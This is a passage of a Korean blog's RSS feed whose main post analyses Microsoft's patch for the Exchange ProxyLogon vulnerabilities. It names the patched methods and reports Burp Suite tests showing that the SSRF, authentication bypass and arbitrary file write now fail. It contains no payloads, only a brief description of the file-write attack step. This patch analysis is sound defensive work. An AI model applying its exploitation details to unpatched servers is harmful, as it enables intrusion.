data-source-url=&quot;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;덮개 스위치 동작 선택(전원 사용)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;덮개 스위치 동작 선택(전원 사용) 이 정책 설정은 사용자가 모바일 PC의 덮개를 닫으면 Windows에서 수행되는 동작을 지정합니다. 가능한 동작은 다음과 같습니다. -아무 작업 안 함 -절전 모드 -최&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;admx.help&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../환경세팅</category>
      <category>PowerSettings</category>
      <category>regedit</category>
      <category>window 11</category>
      <category>노트북 덮개</category>
      <category>윈도우 11</category>
      <category>절전모드</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/158</guid>
      <comments>https://chmodi.tistory.com/158#entry158comment</comments>
      <pubDate>Wed, 20 Oct 2021 17:20:13 +0900</pubDate>
    </item>
    <item>
      <title>Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치</title>
      <link>https://chmodi.tistory.com/157</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ProxyLogon 취약점에 대한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조치 방안 및 분석입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 보안 패치 KB5000871&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microsoft에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ProxyLogon에 대한 보안 패치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2021-03-12에 공개했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(LINK: &lt;span&gt;&lt;a href=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&quot;&gt;https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;364&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;283&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmYD6t/btrhFRs142p/hoXpfGXdDxpsw4by28Z9Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmYD6t/btrhFRs142p/hoXpfGXdDxpsw4by28Z9Z0/img.png&quot; data-alt=&quot;KB5000871 보안 패치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmYD6t/btrhFRs142p/hoXpfGXdDxpsw4by28Z9Z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmYD6t%2FbtrhFRs142p%2FhoXpfGXdDxpsw4by28Z9Z0%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;364&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;283&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;KB5000871 보안 패치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# CVE-2021-26855 패치 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 타 사이트 접속 불가&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 패치를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URI의 Host를 검토하는 코드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가됐습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 발생했던&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GetTargetBackEndServerUrl() 메서드는 수정되지 않았으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메서드로 Back-End site의 주소를 받은 직후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;받은 URI의 유효성을 검토하는 코드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;285&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;221&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btzFhc/btrhH54TdzG/pmuAMxsA7lSneCgUhYiB1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btzFhc/btrhH54TdzG/pmuAMxsA7lSneCgUhYiB1k/img.png&quot; data-alt=&quot;ProxyRequestHandler.BeginProxyRequest() URI 검토 패치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btzFhc/btrhH54TdzG/pmuAMxsA7lSneCgUhYiB1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtzFhc%2FbtrhH54TdzG%2FpmuAMxsA7lSneCgUhYiB1k%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;285&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;221&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ProxyRequestHandler.BeginProxyRequest() URI 검토 패치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;ApplicationLogic.dll - BackEndServer.FromString&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BackEndServer.FromString() 메서드 또한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hostname을 검토하는 코드가 추가되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;201&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;156&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvlQTR/btrhKsrJJ9N/w6y6NUIkmuSKqWo7tIIma0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvlQTR/btrhKsrJJ9N/w6y6NUIkmuSKqWo7tIIma0/img.png&quot; data-alt=&quot;BackEndServer.FromString() 패치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvlQTR/btrhKsrJJ9N/w6y6NUIkmuSKqWo7tIIma0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvlQTR%2FbtrhKsrJJ9N%2Fw6y6NUIkmuSKqWo7tIIma0%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;201&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;156&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BackEndServer.FromString() 패치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Proxy Tool인 Burp Suite를 통해&amp;nbsp;직접 취약점을 테스트한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URI 검토 코드에 의해 접근이 차단되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류페이지로 이동됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;430&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;334&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bboJFo/btrhKskXw7w/P15zFWeKL6FYwptohMGikk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bboJFo/btrhKskXw7w/P15zFWeKL6FYwptohMGikk/img.png&quot; data-alt=&quot;공격 실패 및 오류 페이지로 이동&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bboJFo/btrhKskXw7w/P15zFWeKL6FYwptohMGikk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbboJFo%2FbtrhKskXw7w%2FP15zFWeKL6FYwptohMGikk%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;430&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;334&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공격 실패 및 오류 페이지로 이동&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 인증 우회 불가&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GetTargetBackEndServer() 메서드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Back-End site의 주소를 받은 이후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URI 검토를 하면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 Kerberos 사용자 인증을 하는 코드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Kerberos 인증이 되지 않은 접근은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드에 의해 차단됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;294&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;228&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOGFD0/btrhFxIi8TI/9WELyXpm2IfaRRmqFRhNB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOGFD0/btrhFxIi8TI/9WELyXpm2IfaRRmqFRhNB0/img.png&quot; data-alt=&quot;ProxyRequestHandler.BeginProxyRequest() Kerberos 인증 패치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOGFD0/btrhFxIi8TI/9WELyXpm2IfaRRmqFRhNB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOGFD0%2FbtrhFxIi8TI%2F9WELyXpm2IfaRRmqFRhNB0%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;294&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;228&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ProxyRequestHandler.BeginProxyRequest() Kerberos 인증 패치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Proxy Tool인 Burp Suite를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 취약점을 테스트한 결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Kerberos 인증 코드에 의해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접근이 차단되며 500 에러 코드를&lt;br /&gt;반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;234&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;182&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EjOTn/btrhFhMuSfn/YkUSkPPTlOHalwJPwH7lOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EjOTn/btrhFhMuSfn/YkUSkPPTlOHalwJPwH7lOK/img.png&quot; data-alt=&quot;정보 획득 실패&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EjOTn/btrhFhMuSfn/YkUSkPPTlOHalwJPwH7lOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEjOTn%2FbtrhFhMuSfn%2FYkUSkPPTlOHalwJPwH7lOK%2Fimg.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;234&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;182&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;정보 획득 실패&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# CVE-2021-27065 패치 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 임의의 파일 작성 불가&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 패치를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 확장자를 검토하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드가 추가됐습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;span&gt;ControlPanel.dll - DDIService.WriteFileActivity.Run&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성되는 파일의 확장자를 검토하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.txt 파일이 아닌 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자를 추가하는 코드가 추가되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;228&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;178&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtyJVu/btrhKsywSpy/EhmMl3UxAuGLjravMFWH01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtyJVu/btrhKsywSpy/EhmMl3UxAuGLjravMFWH01/img.png&quot; data-alt=&quot;WriteFileActivity.Run() 메서드 파일 확장자 검토 로직 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtyJVu/btrhKsywSpy/EhmMl3UxAuGLjravMFWH01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtyJVu%2FbtrhKsywSpy%2FEhmMl3UxAuGLjravMFWH01%2Fimg.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;228&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;178&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WriteFileActivity.Run() 메서드 파일 확장자 검토 로직 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Proxy Tool인 Burp Suite를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 취약점을 테스트한 결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 생성했으나 보안 코드에 의해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.txt 확장자가 추가되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RCE 코드를 실행시킬 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1) 가상 디렉터리 재설정 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로를 변조하여 파일 생성을 시도합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;441&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;343&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF7tWI/btrhGaTrVIW/gsnl1tqCUfCpQeeMxli7x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF7tWI/btrhGaTrVIW/gsnl1tqCUfCpQeeMxli7x1/img.png&quot; data-alt=&quot;임의의 파일 생성 시도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF7tWI/btrhGaTrVIW/gsnl1tqCUfCpQeeMxli7x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF7tWI%2FbtrhGaTrVIW%2Fgsnl1tqCUfCpQeeMxli7x1%2Fimg.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;441&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;343&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;임의의 파일 생성 시도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2) &lt;span&gt;보안 코드에 의해&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;.txt &lt;/span&gt;확장자가 추가되어&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;원격 명령을 실행할 수 없는&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;일반 텍스트 파일이 생성되었습니다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;119&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;92&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvBZzG/btrhJq8O2Pe/FTfo5kdsEOwKTw5cXwjBWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvBZzG/btrhJq8O2Pe/FTfo5kdsEOwKTw5cXwjBWK/img.png&quot; data-alt=&quot;.txt 파일 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvBZzG/btrhJq8O2Pe/FTfo5kdsEOwKTw5cXwjBWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvBZzG%2FbtrhJq8O2Pe%2FFTfo5kdsEOwKTw5cXwjBWK%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;119&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;92&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 